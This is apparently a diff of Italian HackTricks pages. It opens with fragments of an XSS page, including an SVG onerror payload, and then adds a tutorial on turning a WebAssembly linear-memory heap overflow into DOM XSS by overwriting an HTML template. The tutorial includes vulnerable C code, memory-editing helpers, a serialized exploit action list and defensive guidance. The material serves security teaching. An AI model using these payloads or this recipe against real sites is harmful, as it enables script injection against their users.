The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format estende componenti AMP specifici alle email, permettendo ai destinatari di interagire con il contenuto direttamente all'interno delle loro email.
Il formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componenti AMP specifici alle email, permettendo ai destinatari di interagire con il contenuto direttamente all'interno delle loro email.
Esempio [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
@ -1684,9 +1697,9 @@ id="foo"/>
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
Trova **più payload SVG su** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
Trova **altri SVG payloads su** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Varie tecniche JS e informazioni rilevanti
## Trucchi JS e informazioni rilevanti
{{#ref}}
@ -1704,7 +1717,7 @@ other-js-tricks.md
## Riferimenti
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
- [Da "Low-Impact" RXSS a Credential Stealer: una guida JS-in-JS](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,133 @@
# WebAssembly linear memory corruption to DOM XSS (template overwrite)
{{#include ../../banners/hacktricks-training.md}}
Questa tecnica mostra come un bug di corruzione della memoria all'interno di un modulo WebAssembly (WASM) compilato con Emscripten possa essere trasformato in un DOM XSS affidabile anche quando l'input è sanitizzato. Il pivot consiste nel corrompere costanti scrivibili nella WASM linear memory (es. HTML format templates) invece di attaccare la stringa di origine sanitizzata.
Idea chiave: nel modello WebAssembly il codice risiede in pagine eseguibili non scrivibili, mentre i dati del modulo (heap/stack/globals/"constants") vivono in un'unica memoria lineare piatta (pagine da 64KB) che è scrivibile dal modulo. Se codice C/C++ buggy scrive fuori dai limiti, è possibile sovrascrivere oggetti adiacenti e persino stringhe costanti incorporate nella memoria lineare. Quando una tale costante viene poi usata per costruire HTML per l'inserimento tramite un DOM sink, è possibile trasformare input sanitizzato in JavaScript eseguibile.
Modello di minaccia e precondizioni
- Web app usa Emscripten glue (Module.cwrap) per chiamare un modulo WASM.
- Lo stato dell'applicazione risiede nella WASM linear memory (es. C structs con puntatori/lengths a user buffers).
- L'input sanitizer codifica i metacaratteri prima della memorizzazione, ma la successiva renderizzazione costruisce HTML usando una format string memorizzata nella WASM linear memory.
- Esiste una primitive di corruzione della memoria lineare (es. heap overflow, UAF, o memcpy non controllato).
Modello di dati vulnerabile minimo (esempio)
```c
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
```
Pattern logico vulnerabile
- addMsg(): alloca un nuovo buffer dimensionato sull'input sanitizzato e aggiunge un msg a s.mess, raddoppiando la capacità con realloc quando necessario.
- editMsg(): riesegue la sanitizzazione ed esegue memcpy dei nuovi byte nel buffer esistente senza assicurarsi che la nuova lunghezza ≤ la vecchia allocazione → intra-linear-memory heap overflow.
- populateMsgHTML(): formatta il testo sanitizzato con uno stub preconfezionato come "<article><p>%.*s</p></article>" che risiede in linear memory. L'HTML restituito finisce in un DOM sink (es., innerHTML).
Allocator grooming with realloc()
```c
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
```
- Invia sufficienti messaggi per superare la capacità iniziale. Dopo l'espansione, realloc() spesso posiziona s->mess immediatamente dopo l'ultimo user buffer in linear memory.
- Overflow the last message via editMsg() per sovrascrivere campi dentro s->mess (e.g., overwrite msg_data pointers) → riscrittura arbitraria di puntatori nella linear memory per dati poi renderizzati.
Exploit pivot: sovrascrivere il HTML template (sink) invece della sorgente sanitizzata
- La sanitizzazione protegge l'input, non i sink. Trova il formato stub usato da populateMsgHTML(), e.g.:
- "<article><p>%.*s</p></article>" → change to "<img src=1 onerror=%.*s>"
- Localizza il stub in modo deterministico scansionando la linear memory; è una stringa di byte semplice all'interno di Module.HEAPU8.
- Dopo aver sovrascritto il stub, il contenuto del messaggio sanitizzato diventa il JavaScript handler per onerror, quindi aggiungere un nuovo messaggio con testo come alert(1337) produce <img src=1 onerror=alert(1337)> ed esegue immediatamente nel DOM.
Chrome DevTools workflow (Emscripten glue)
- Interrompi al primo Module.cwrap call nel JS glue e entra nel wasm call site per catturare gli argomenti puntatore (offset numerici nella linear memory).
- Usa typed views come Module.HEAPU8 per leggere/scrivere la memoria WASM dalla console.
- Snippet di aiuto:
```javascript
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
```
End-to-end exploitation recipe
1) Groom: aggiungi N piccoli messaggi per provocare realloc(). Ensure s->mess is adjacent to a user buffer.
2) Overflow: chiama editMsg() sull'ultimo messaggio con un payload più lungo per sovrascrivere una voce in s->mess, impostando msg_data del messaggio 0 per puntare a (stub_addr + 1). The +1 salta il '<' iniziale per mantenere l'allineamento del tag intatto durante la modifica successiva.
3) Template rewrite: modifica il messaggio 0 in modo che i suoi byte sovrascrivano il template con: "img src=1 onerror=%.*s ".
4) Trigger XSS: aggiungi un nuovo messaggio il cui contenuto sanificato è JavaScript, e.g., alert(1337). Rendering emette <img src=1 onerror=alert(1337)> ed esegue.
Example action list to serialize and place in ?s= (Base64-encode with btoa before use)
```json
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
```
Perché questo bypass funziona
- WASM impedisce l'esecuzione di codice dalla linear memory, ma i dati costanti dentro la linear memory sono scrivibili se la logica del programma è buggy.
- The sanitizer only protects the source string; corrompendo il sink (il HTML template), l'input sanitized diventa il valore dell'handler JS e viene eseguito quando inserito nel DOM.
- L'adiacenza causata da realloc() insieme a memcpy non verificato nei flow di edit permette la corruzione di puntatori per reindirizzare le scritture a indirizzi scelti dall'attaccante all'interno della linear memory.
Generalization and other attack surface
- Qualsiasi in-memory HTML template, JSON skeleton o URL pattern incorporato nella linear memory può essere preso di mira per cambiare come i dati sanitizzati vengono interpretati a valle.
- Altri comuni pitfall di WASM: out-of-bounds writes/reads nella linear memory, UAF su heap objects, uso improprio della function-table con unchecked indirect call indices e mismatch nella glue JS↔WASM.
Defensive guidance
- Nei percorsi di edit, verificare new length ≤ capacity; ridimensionare i buffer prima della copia (realloc a new_len) oppure usare API con limite di dimensione (snprintf/strlcpy) e tracciare la capacity.
- Tenere immutable templates fuori dalla writable linear memory o verificarne l'integrità prima dell'uso.
- Trattare i confini JS↔WASM come non affidabili: validare pointer ranges/lengths, fuzzare le interfacce esportate e limitare la crescita della memoria.
- Sanitize at the sink: evitare di costruire HTML in WASM; preferire safe DOM APIs rispetto a innerHTML-style templating.
- Evitare di fidarsi dello stato incorporato nelle URL per flussi privilegiati.
## References
- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
{{#include ../../banners/hacktricks-training.md}}